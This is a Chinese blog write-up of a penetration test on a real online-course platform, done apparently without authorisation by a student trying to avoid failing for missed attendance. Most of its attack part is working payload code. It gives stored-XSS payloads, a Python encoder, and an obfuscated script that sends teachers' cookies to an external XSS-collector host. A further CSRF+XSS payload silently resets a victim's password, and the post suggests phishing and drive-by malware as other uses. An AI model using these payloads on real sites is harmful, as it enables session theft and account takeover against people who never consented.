Csrf+Xss组合拳

Posted 2021-04-25 合天智汇

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了Csrf+Xss组合拳相关的知识，希望对你有一定的参考价值。

各位大师傅，第一次在合天发文章，请多多关照

今年年初的疫情确实有点突然，打乱了上半年的所有计划（本来是校内大佬带我拿奖的时刻，没了 Csrf+Xss组合拳，学长毕业了，就剩下我这个小垃圾带着下一届去搞ctf了，难啊，难啊）

0x01

Csrf+Xss组合拳

这个站是我疫情时候在线上网课的平台，本着对信息安全做贡献的目的下去做的这个渗透工作（咳咳，这个平台有个签到，每次签到我都在与大脑作斗争，最后争不过大脑，选择了睡觉，最后旷课太多，不搞要挂科。）

0x02

这个站简单的先用手机看了下，这种网课站我感觉xss比较好寻找一些，所以我找到的都是一些存储型xss，

先看一下第一个基本没鸟用的xss

用户个人资料处

Csrf+Xss组合拳
更改姓名

Payload为<script>alert()</script>

（这个地方字数有限制，最长为24个字符）

保存，刷新页面
Csrf+Xss组合拳
成功显示弹窗
经测试

1.学号

2.身份

3.学校

4.姓名处均存在存储型xss并能够弹窗

确实这个地方感觉确实没什么用，字数有限制，顶多就是在老师打开页面的时候弹出一个弹框，没鸟用啊，回头想想自己旷课的次数，md，拼了

0x03

Csrf+Xss组合拳

发布新话题

测试发现

Csrf+Xss组合拳

将上面全部代码进行复制

在下面编辑框中进行黏贴，直接解析为html

内容处可以执行html代码

测试发布时

Csrf+Xss组合拳

发布后访问此话题

Csrf+Xss组合拳

成功xss

进行下一步测试

进行获取cookies

在<script src=””>

这个payload无法执行

不知道是服务器问题还是什么

换用其他payload

Csrf+Xss组合拳

in_str = "(function(){(new Image()).src='http://xss.buuoj.cn/index.php?do=api&id=Mli4D9&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='http://xss.buuoj.cn/index.php?do=keepsession&id=Mli4D9&url='+escape(document.location)+'&cookie='+escape(document.cookie)};" output = "" for c in in_str:    output += "&#" + str(ord(c)) print("<svg><script>eval("" + output + "")</script>")

payload为

在进行测试 Csrf+Xss组合拳

<svg><script>eval("(function(){(new Image()).src='http://xss.buuoj.cn/index.php?do=api&id=Mli4D9&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='http://xss.buuoj.cn/index.php?do=keepsession&id=Mli4D9&url='+escape(document.location)+'&cookie='+escape(document.cookie)};")</script>

Csrf+Xss组合拳

看看xss平台

Csrf+Xss组合拳

成功获取

也可以使用其他的利用方法

Csrf+Xss组合拳

跳转钓鱼网站

在页面内这是html表单进行钓鱼

或者js挂马等等

严重程度

中危

But。。

部分Cookeis设置了http-only，拿不到老师的全部cookie。

0x04

继续测试

更改密码处没有验证原先密码

Csrf+Xss组合拳

根据前面找到的xss构建payload

Csrf+Xss组合拳

```<script type="text/javascript" src="http://admin.3cjz.cn/include/jQ.js"></script><script> 
function loginSubmit() { $.ajax({ url: "https://www.xxxxxxxx.com/UserApi/updatePassword",  type: "post", data: {"newpassword": "123456789"}, dataType: "json", success: function (data) { if (data.status == "1") {   } else {
 } }, }); }loginSubmit()</script> ```